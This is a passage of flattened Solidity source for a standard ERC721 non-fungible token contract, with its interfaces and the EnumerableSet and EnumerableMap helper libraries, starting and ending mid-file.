* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
